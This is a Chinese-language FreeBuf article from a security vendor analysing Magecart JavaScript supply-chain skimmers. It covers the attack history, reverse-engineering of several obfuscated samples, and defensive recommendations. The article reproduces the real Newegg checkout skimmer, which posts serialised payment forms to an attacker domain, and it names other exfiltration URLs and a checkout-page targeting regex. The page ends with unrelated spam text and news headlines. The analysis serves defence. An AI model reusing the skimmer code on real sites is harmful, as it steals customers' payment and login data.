freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课
报告 专辑

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

  • 企业资讯
技术干货 | JS供应链攻击恶意代码分析
2019-06-17 16:09:44

image.png

JS供应链攻击,或者又叫Magecart攻击,是指通过向第三方JS供应链中注入恶意JS代码,以获取网站的支付信息和用户信息的攻击行为。

Magecart是安全研究人员对至少 11 个不同黑客组织的总称,这些组织专门在电商网站上植入恶意软件代码,悄悄窃取客户的支付信息。

目前,这类攻击正变得越来越频繁,它们主要通过被黑的广告链或者伪造成GoogleAnalytics code来插入电商网站或者大型网站,以窃取用户信息和支付信息。

据相关安全统计,国外已经有大量电商网站遭到这类攻击,并且导致了网站用户信息和支付信息的大规模泄露。

image.png2015年:

Magecart攻击开始活跃,其最初两年的目标是Magento在线商店,2017年底至2018年初开始改变策略,转将目标瞄向主要服务,尤其是托管Web 基础设施。

2018年:

Magecart曾制造过针对英国航空公司、Ticketmaster和 Newegg等知名国际公司网络攻击的大新闻。

9月6日:英国航空公司遭遇黑客攻击,包括个人基本信息和付款记录的客户数据被泄露。

9月13日:Feedify网站被黑客攻击并植入MageCart恶意脚本,该恶意脚本可以窃取用户提交的信用卡资料和其他信息。

9月20日:Newegg网站在被植入用来窃取客户付款信息的MageCart脚本后的一个多月,终于发现其被动的现状。

Magecart黑客还通过将代码插入到Adverline流行的第三方JavaScript 库中,使得277个电子商务网站受到供应链攻击。这些电子商务网站主要提供票务、旅游和航班预订服务,以及一些来自名牌化妆品、医疗保健和名牌服装的自托管购物网站。

黑客攻击团队Magecart Groups 5和Magecart Groups 12通过向JavaScript库注入skimming代码来攻击电子商务网站使用的第三方服务。这使得嵌入脚本的所有网站都可以加载skimming代码。覆盖范围的扩大,也为黑客窃取更多数据提供了便利。

11月21日:

名为FallingSnow的用户在知名JavaScript应用库event-stream的github Issuse中表示发现event-stream中存在用于窃取用户数字钱包的恶意代码。该package中的恶意代码主要作用是:窃取用户的钱包信息(包括私钥),并将其发送到copayapi.host的8080端口上。随后,Right9ctrl发布了包含新依赖关系的Event-Stream 3.3.6 - Flatmap-Stream0.1.1。其中,Flatmap-Stream v0.1.1 正是是包含恶意代码的npm package。

下图是Event-Stream 3.3.6版本的影响范围:

image.png

根据这些统计信息不难看出,Magecart攻击的范围随着时间的推移越来越广泛和多种多样,而本文就是针对对攻击注入的恶意JS进行分析,分析其恶意代码和恶意行为,看其是如何获取用户信息和支付信息的。

image.png

攻击的恶意代码并不会直接注入被攻击的电网网站,而是会通过JS供应链来进行攻击,例如直接入侵或者利用漏洞注入在线广告公司的第三方JavaScript库,或者伪造成Google Analytics code。例如有的攻击脚本使用了Google Analytics名称的变体,使其看起来不那么可疑,并因此逃避了网站所有者的检测,成功将恶意代码被混淆并注入合法的JS文件。

混淆的代码从 www.google-analytics.cm/analytics.js加载,该网址与真正的Google Analytics位置 www.google-analytics.com/analytics.js非常相似。但是顶级域名是cm而非com。

如果去分析这些恶意JS样本,会发现一个特点,他们会混淆和伪装成Google Analytics code该有的一些特定特征。下图就是一个混淆伪装之后的js,表面看起来相当复杂,但是如果花时间对其进行分析,就会发现代码中隐藏的恶意行为。

image.png下图是一个简易的攻击图示:

image.png流程说明如下:

  1. 攻击者入侵或者通过漏洞在第三广告提供商的JS库中插入恶意代码

  2. 如果电商使用了被入侵第三方广告商JS库,恶意JS将会被载入电商的网站中

  3. 当用户在登录网站或者支付商品时恶意代码将会获取这些信息

  4. 再通过设定好的方式发送到指定的接受处

image.png这里我们先讲一个简单的案例,据网络威胁检测公司Volexity称,国外电商网站Newegg(新蛋网)遭到了Magecart组织的网络攻击,这是继英国航空公司、Ticketmaster、Feedify后,出现的最新受害者。实际上之前我还用过这个电商网站购物,它算是电商界鼻祖级别的购物平台了,但是在国内京东崛起之后它就基本消失了,变得比较小众,估计很多现在的年轻人都没有听说过这个电商平台。

具体来说,Newegg完整的用户信息与银行卡信息在2018年8月16日-9月18日之间被Magecart盗取。攻击者在Newegg网站的结账页面插入了几行恶意Javascript代码,这些网页捕获了在网站上进行购买的客户的付款信息,然后将其发送到私人注册域neweggstats.com。预计有数百万人的银行卡信息被盗取

当用户在Newegg购买商品时,他们首先会被要求填写收货信息,然后跳转至付款页面,输入支付信息。正是在这个Newegg采集付款信息的页面上,被注入了下面显示的15行MageCart脚本。

window.onload=function(){
    jQuery('#btnCreditCard.paymentBtn.creditcard').bind("mouseptouchend",function (e) {
        var dati =jQuery("#checkout");
        var pdati=JSON.stringify(dati.serializeArray());
        setTimeout(function () {
            jQuery.ajax({
                type:"POST",
                async:true,
                url:" https://www.neweggstats.com/GlobalData/",
                data: pdati,
                dataType:'application/json'
            });
            
        },250);
        
    });
};

当页面加载时,脚本会将自己绑定到用户输入信用卡详细信息后按下的提交按钮。当提交按钮被按下,脚本就会获取表单的内容。因此在网站被攻击的期间,攻击者可以在不中断结账过程的前提下,悄悄窃取那些从Newegg上购买商品的顾客的信用卡详细信息,并将其转换为JSON,然后上传到 https://neweggstats.com/GlobalData站点。这个neweggstats站点并不归Newegg所有,其实际操作者正是攻击者本身。但是,对于用户而言,他们并不会发现购物过程中的任何异常,只会继续购买,就像没有发生任何事情一样。

image.png这个章节我们将对获取到的一些恶意JS样本做详细分析,主要分析这些恶意样本的恶意行为。

image.png该样本是一个获取用户登录信息的恶意js,通过VirusTotal在线威胁情报平台检测可以看到其存在恶意行为:

image.png1. 将样本JS引入到测试HTML中,观察样本JS的结构,发现大部分代码是变量定义,于是从当前JS源文件中的一处循环语句中下一个断点,发现一段中间生成的代码。

image.png2. 把生成的代码放入当前页面中,继续跟踪调试:

image.png

3. 简单变量初始化后,有一个IF判断,其实会对当前地址做检测,如下:

image.png

4. 此判断条件解密之后如下:

newRegExp(/onepage|checkout|store|cart|pay|panier|kasse|order|billing|purchase|basket/).test(window.location)

即,判断当前地址中是否包含看起来像电商系统的常用单词,因此我们修改为:

RegExp(/onepage|checkout|store|cart|pay|panier|kasse|order|billing|purchase|basket/).test(window.location+ “order”),

通过修改判断条件为真继续跟踪,发现一个远程连接:

image.png5. 经过一系列的变量定义和转换,跟踪到一个函数(contentcachecontrol)定义,如下:

image.png6. 但是contentcachecontrol本身未定义,可能在其他地方定义,然后观察内部逻辑,发现主要是对nowwork变量进行赋值,所以我们暂时先强制:nowwork = true, 继续跟踪:

image.png7. 发现代码在查找页面中的表单数据,接下来的循环代码会在所有的form中添加eventListener,即监听表单事件,因此我们在测试页面中复制testfire( http://demo.testfire.net)的登录表单:

image.png8. 看到在form的change事件做了监听:

image.png9. 上图即是还原后的代码,我们再查看当form change时localStorage里面的情况

image.png

10. 可以看到,样本把整个form数据都存在了localStorage里面,并作了base64转换

image.png

11. 最终,当JS样本发现Cache中有值时,向之前发现的远程地址 https://content-delivery.cc/cdn/font.js发起post请求,请求数据为上图的内容,包含用户名、密码、域名等用户信息。

image.png

第二个样本结构与上一个样本类似,

恶意行为与上一个样本一致,只是远程地址变为了: https://cdn-content.cc/cdn/init.js

image.png

 这个样本主要就是我们之前提到的伪装混淆成了Google Analytics Code的案例。

1. 跟踪恶意JavaScript代码样本,发现一些可疑字段:

image.png2. 由于不知道判断点,先改文件名称,尝试让样本工作,在文件名中添加了"login"关键字,发现事件监听:

image.png3. 添加了"click"事件,代码如下图:

image.png

4. 但是下断点后,未能触发事件,继续分析,发现可能存在判断条件:

image.png5. 发现样本在遍历"input, select, textarea,checkbox"这些标签的行为:

image.png

6. 经过反复调试发现无法触发事件,于是使用静态分析方法,直接还原代码,还原出样本行为,还原后的关键代码如下:

image.png

7. 根据还原之后的样本对代码进行解读,样本主要行为是在页面的 

"button,.form-button,.onestepcheckout-button,.btn,#onestepcheckout-place order,.onestepcheckout-place-order, .onestepcheckout-place-order-wrapper" 

中添加click事件,当事件触发时,会执行以下流程:

  • ·  检查window.location是否包含一些关键字,然后遍历页的输入标签,把标签的name及value存在localStorage中,并且把所有标签的name及value赋值给临时变量。

  • ·  在localStorage中生成一个16位随机值的gaudid,如果已经生成过,就不会再变化。

  • ·  检查两个固定标签,推测是此处是针对某指定网站的特定页面,标签ID分别为sectionBillingAddress、sectionDeliveryAddress,看起来与订单地址相关,这两个标签的内容同样被存入localStorage中。

  • ·  取出所有localStorage中的值,并使用GibberishAES.enc加密,密钥为4d25a9bb5f714290adb1********************************************

  • ·  向远程地址发送盗取所有的数据,远程地址为

    //g-*******.com/__utm.gif?v=1&_v=j68&a=98811130&t=pageview&_s=1&sd=24-bit&sr=2560x1440&vp=2145x371&je=0&_u=AACAAEAB~&jid=1841704724&gjid=877686936&cid=1283183910.1527732071

8. 恶意请求如下图:

image.pngimage.png

将样本JS引入到测试HTML中,先运行样本,观察样本JS的结构,发现此样本混淆强度更高,并且直观看起来更像是Goolge分析的脚本:

经过分析发现,这个恶意样本与第三个样本行为几乎一致,但是混淆更高级,功能更完整,并且在分析环境中都能完成数据盗取,同时还做了伪装,假冒google的脚本,应该是较为成熟的版本。

image.png

Magecart组织正在对电子商务网站进行全面攻击,并且没有停止的迹象。随着不断的攻防对抗,这些攻击只会越来越多并且会越来越复杂。虽然最初的攻击只涉及低级Magento商店,但后来的攻击针对的则是CDN,以此增加其攻击的覆盖范围,攻击任何他们认为能够或者值得取得数据的各种网站。

从经过分析的几个恶意样本来看,它们均采用了混淆技术,既包括简单的针对字符串的混淆,也有较为高级的对控制流程的混淆;同时还有伪装,如定义googleanalytics这样的变量名。不过由于是基于浏览器盗取用户信息的JS恶意样本,攻击手法基本上就是在页面中添加事件监听来抓取用户的输入数据。

对于相关企业而言,由于目前此类Magecart攻击和利用都发生在用户端,因此相较于利用服务器安全漏洞发起的攻击更不易被发现。但这并非是企业放松的理由。随着网络服务对各个领域的不断渗透,个人信息保护会愈加受到人们的重视,这势必要求企业承担起保护用户信息的责任,重视此类攻击并积极主动地进行防御。

image.png

1. 最好尽可能从登录页面或者结帐页面中删除第三方代码,禁止第三方代码在客户支付信息输入的页面上运行。或者对引用的第三方代码进行安全审查和定期检测。

2. 由于攻击者通常会利用在线电商软件中的已知漏洞,因此强烈建议网站管理员及时更新系统和补丁,限制关键系统的权限以及加强 Web 服务器管理等。在线购物客户也应当定期检查信用卡对账单,及时报告未授权的交易。

3. 针对类似ajax, sendbeacon,websocket等接口做检查,可以有效防御此类攻击。
4. 针对此类攻击,瑞数信息也可以提供动态安全解决方案,通过对页面输入进行即时加密(类似银行控件),从而在恶意JS获取数据之前就对输入的每个数据进行加密,或者以更为严格的同源策略进行有效防御。
image.png

瑞数信息技术(上海)有限公司,专注于提供互联网应用安全保护解决方案,总部位于上海,并且在成都设立了研发中心,在北京和深圳分别设有分支机构。

瑞数信息的核心团队由国内外各大著名安全厂商的前骨干成员组成,在信息安全行业具有深厚的技术背景和经验。瑞数信息是国内首家将创新的“动态安全”防御理念融合到网页及移动应用保护中的安全厂商,拥有多项全球独家的动态安全技术,可以有效抵御各类自动化漏洞扫描或模拟合法操作的交易欺诈行为。

image.png

  • https://securityboulevard.com/2019/02/google-analytics-and-angular-in-magento-credit-card-stealing-scripts/

  • https://www.hackread.com/visiondirect-hacked-with-malicious-google-analytics-code/

  • https://gwillem.gitlab.io/2018/09/06/fake-google-analytics-malware/

  • https://github.com/gwillem/magento-malware-scanner/tree/master/corpus/frontend

  • https://blog.trendmicro.com/trendlabs-security-intelligence/new-magecart-attack-delivered-through-compromised-advertising-supply-chain/

 

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者

玻璃钢生产厂家赤峰玻璃钢花箱厂淮北玻璃钢设备外壳定制固原玻璃钢花盆厂家毕节玻璃钢餐桌椅厂家直销四川玻璃钢浮雕定做咸阳玻璃钢制品定做鹤岗商场美陈厂家汉中玻璃钢花槽厂家直销宜昌玻璃钢树池定做桂林玻璃钢产品批发台州玻璃钢卡通雕塑定制营口玻璃钢装饰加工唐山玻璃钢设备外壳定做云浮玻璃钢造型制造韶关玻璃钢花盆厂家昌都玻璃钢摆件制造雅安玻璃钢种植池制造宜宾玻璃钢花槽加工曲靖玻璃钢花盆批发安顺玻璃钢产品价格岳阳玻璃钢前台哪家好湖南玻璃钢树池坐凳厂铜仁玻璃钢座椅定做上海玻璃钢坐凳哪家好锦州玻璃钢花箱定做汕尾玻璃钢花瓶批发澳门玻璃钢花坛定制苏州玻璃钢花箱制作贵港不锈钢家具价格鸡西玻璃钢茶几歼20紧急升空逼退外机英媒称团队夜以继日筹划王妃复出草木蔓发 春山在望成都发生巨响 当地回应60岁老人炒菠菜未焯水致肾病恶化男子涉嫌走私被判11年却一天牢没坐劳斯莱斯右转逼停直行车网传落水者说“没让你救”系谣言广东通报13岁男孩性侵女童不予立案贵州小伙回应在美国卖三蹦子火了淀粉肠小王子日销售额涨超10倍有个姐真把千机伞做出来了近3万元金手镯仅含足金十克呼北高速交通事故已致14人死亡杨洋拄拐现身医院国产伟哥去年销售近13亿男子给前妻转账 现任妻子起诉要回新基金只募集到26元还是员工自购男孩疑遭霸凌 家长讨说法被踢出群充个话费竟沦为间接洗钱工具新的一天从800个哈欠开始单亲妈妈陷入热恋 14岁儿子报警#春分立蛋大挑战#中国投资客涌入日本东京买房两大学生合买彩票中奖一人不认账新加坡主帅:唯一目标击败中国队月嫂回应掌掴婴儿是在赶虫子19岁小伙救下5人后溺亡 多方发声清明节放假3天调休1天张家界的山上“长”满了韩国人?开封王婆为何火了主播靠辱骂母亲走红被批捕封号代拍被何赛飞拿着魔杖追着打阿根廷将发行1万与2万面值的纸币库克现身上海为江西彩礼“减负”的“试婚人”因自嘲式简历走红的教授更新简介殡仪馆花卉高于市场价3倍还重复用网友称在豆瓣酱里吃出老鼠头315晚会后胖东来又人满为患了网友建议重庆地铁不准乘客携带菜筐特朗普谈“凯特王妃P图照”罗斯否认插足凯特王妃婚姻青海通报栏杆断裂小学生跌落住进ICU恒大被罚41.75亿到底怎么缴湖南一县政协主席疑涉刑案被控制茶百道就改标签日期致歉王树国3次鞠躬告别西交大师生张立群任西安交通大学校长杨倩无缘巴黎奥运

玻璃钢生产厂家 XML地图 TXT地图 虚拟主机 SEO 网站制作 网站优化